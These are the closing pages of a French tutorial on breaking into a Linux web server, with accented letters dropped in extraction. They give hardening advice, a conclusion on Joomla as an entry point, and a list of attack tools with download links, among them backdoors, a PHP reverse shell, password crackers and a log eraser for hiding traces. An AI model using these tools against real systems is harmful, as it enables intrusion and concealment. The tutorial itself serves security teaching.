Pour se protger, il nexiste pas de techniques miracles, le but est de compliquer au maximum la vie des attaquants. Sous linux, on peut significativement le niveau de scurit dun serveur en : Activer le blocage de compte et la dtection dintrusion (si elle tait activ sur laccs SSH, cela aurait vit une attaque de brute force) des comptes utilisateurs Installer un utilitaire de type Tripwire17 afin de dtecter les modifications apportes sur un systme et met une alerte chaque fois quun fichier protg a t modifi. Cela facilite le travail dinvestigation et de surveillance. Lutilisation de mots de passe forts bien sr. Attention aux points dentre partir des sites web comme a a t le cas pour Joomla qui souffrait de nombreuses vulnrabilits. Tenir son systme jour Dsactiver les services inutiles ou non utiliss Sous Linux, pour dtecter certains malwares et certaines modifications suspectes apportes au systme, on peut utiliser loutil <chkrootkit18>

Figure 76 Outil Chrootkit en action

La mise en applications de ces techniques permet de diminuer les points dentres possibles pour une intrusion et/ou en maitriser laccs.

17 18

http://www.tripwire.org/ http://www.chkrootkit.org/

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 32

Conclusion
Sur un systme Unix bien configur, il peut tre parfois difficile dlever ses privilges afin de devenir root. Nanmoins les systmes Linux tant parfois moins soumis aux attaques que les systmes Windows (concernant les clients en tout cas), ils sont parfois moins scuriss (pas dantivirus, de dtection dintrusion, etc.) Le souci, cest que les serveurs web sous Unix sont beaucoup utiliss pour hberger des applications web, et que celles-ci permettent un point dentre sur le systme. Par exemple, Joomla souffre de nombreuses vulnrabilits dcouvertes priodiquement et on nest parfois pas labri dexploits pour lesquels il nexiste pas de correctifs.

Nanmoins, force est dadmettre que dans la ralit, laccs la machine naurait pas t si facile du fait que les serveurs web accessibles sur Internet sont bien souvent (mme quasiment toujours) protgs par un pare-feu et que laccs SSH est scuris (blocage aprs plusieurs tentatives infructueuses, restriction par adresse IP, etc.).

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 33

Outils utiliss
C99 Backdoor en php

Hydra Crackeur de mot de passe rseau supportant de nombreux protocoles (Telnet, http, ftp) http://www.thc.org/thc-hydra/

John the ripper Logiciel libre de cassage de mot de passe. http://www.openwall.com/john/

Joomla-cracker Script permettant de casser les mots de passe Joomla http://www.ziddu.com/downloadlink/8245525/joomla-cracker.pl.zip.html

Joomscan Scanneur de vulnrabilits Joomla http://sourceforge.net/projects/joomscan/

Linux Log Eraser Permet de rechercher des donnes dans les fichiers logs et de les supprimer http://packetstormsecurity.org/files/view/102532/Linux-Log-Eraser-1.0.tar.gz

Metasploit Plate-forme permettant de tester et dexploiter les vulnrabilits dun systme. http://www.metasploit.com/ Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com Page 34

Netcat Utilitaire permettant d'ouvrir des connexions rseau http://netcat.sourceforge.net/

Nmap Ce logiciel permet de dtecter si une machine est prsente sur un rseau et d'identifier les services quelle hberge. http://nmap.org/

Phpadmin_bruteforce Script python pour trouver des mots de passe sur phpmyadmin http://www.c0dezone.com/darkc0de/others/pmabf.py

Php-reverse-shell Permet douvrir un reverse shell partir d'un simple script PHP http://pentestmonkey.net/tools/web-shells/php-reverse-shell

Tiny Backdoor Backdoor Unix http://packetstorm.igor.onlinedirect.bg/UNIX/penetration/tsh-0.6.tgz

Whatweb Outil permettant didentifier les applications fonctionnant derrire des serveurs Web http://www.morningstarsecurity.com/research/whatweb

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 35

Bibliographie
Cracking Joomla Hash http://web-vuln.blogspot.com/2010/01/cracking-password-joomla-hash-md5salt.html

Exploit search http://www.exploitsearch.net/

Linux escalation privileges http://g0tmi1k.blogspot.com/2011/08/basic-linux-privilege-escalation.html

Quick guide to Linux privilege escalation http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 36